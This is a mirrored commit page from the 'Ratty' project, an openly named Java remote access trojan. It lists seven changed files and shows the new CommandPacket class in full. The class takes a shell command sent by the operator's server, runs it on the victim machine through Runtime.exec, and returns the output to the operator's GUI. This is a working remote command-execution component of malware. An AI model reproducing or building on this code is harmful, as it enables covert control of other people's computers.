mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
7 changed files with 117 additions and 12 deletions
-
BINRatty/res/icons.png
-
4Ratty/src/de/sogomn/rat/Ratty.java
-
89Ratty/src/de/sogomn/rat/packet/CommandPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
12Ratty/src/de/sogomn/rat/packet/PopupPacket.java
-
18Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
3Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
Before Width: 96 | Height: 16 | Size: 427 B After Width: 112 | Height: 16 | Size: 449 B |
@ -0,0 +1,89 @@ |
|||
package de.sogomn.rat.packet; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.InputStream; |
|||
|
|||
import de.sogomn.rat.ActiveClient; |
|||
import de.sogomn.rat.server.gui.RattyGui; |
|||
|
|||
public final class CommandPacket extends AbstractPingPongPacket { |
|||
|
|||
private String command; |
|||
private String output; |
|||
|
|||
private static final String ERROR = "Command could not be executed."; |
|||
|
|||
public CommandPacket(final String command) { |
|||
this.command = command; |
|||
|
|||
type = REQUEST; |
|||
} |
|||
|
|||
public CommandPacket() { |
|||
this(""); |
|||
|
|||
type = DATA; |
|||
} |
|||
|
|||
@Override |
|||
protected void sendRequest(final ActiveClient client) { |
|||
client.writeUTF(command); |
|||
} |
|||
|
|||
@Override |
|||
protected void sendData(final ActiveClient client) { |
|||
client.writeUTF(output); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveRequest(final ActiveClient client) { |
|||
command = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
protected void receiveData(final ActiveClient client) { |
|||
output = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeRequest(final ActiveClient client) { |
|||
try { |
|||
final Process process = Runtime.getRuntime().exec(command); |
|||
|
|||
process.waitFor(); |
|||
|
|||
final InputStream in = process.getInputStream(); |
|||
final byte[] buffer = new byte[in.available()]; |
|||
|
|||
in.read(buffer); |
|||
|
|||
output = new String(buffer); |
|||
} catch (final IOException | InterruptedException ex) { |
|||
output = ERROR; |
|||
} |
|||
|
|||
type = DATA; |
|||
client.addPacket(this); |
|||
} |
|||
|
|||
@Override |
|||
protected void executeData(final ActiveClient client) { |
|||
RattyGui.showMessage(output); |
|||
} |
|||
|
|||
public String getCommand() { |
|||
return command; |
|||
} |
|||
|
|||
public String getOutput() { |
|||
return output; |
|||
} |
|||
|
|||
public static CommandPacket create() { |
|||
final String input = RattyGui.getInput(); |
|||
final CommandPacket packet = new CommandPacket(input); |
|||
|
|||
return packet; |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue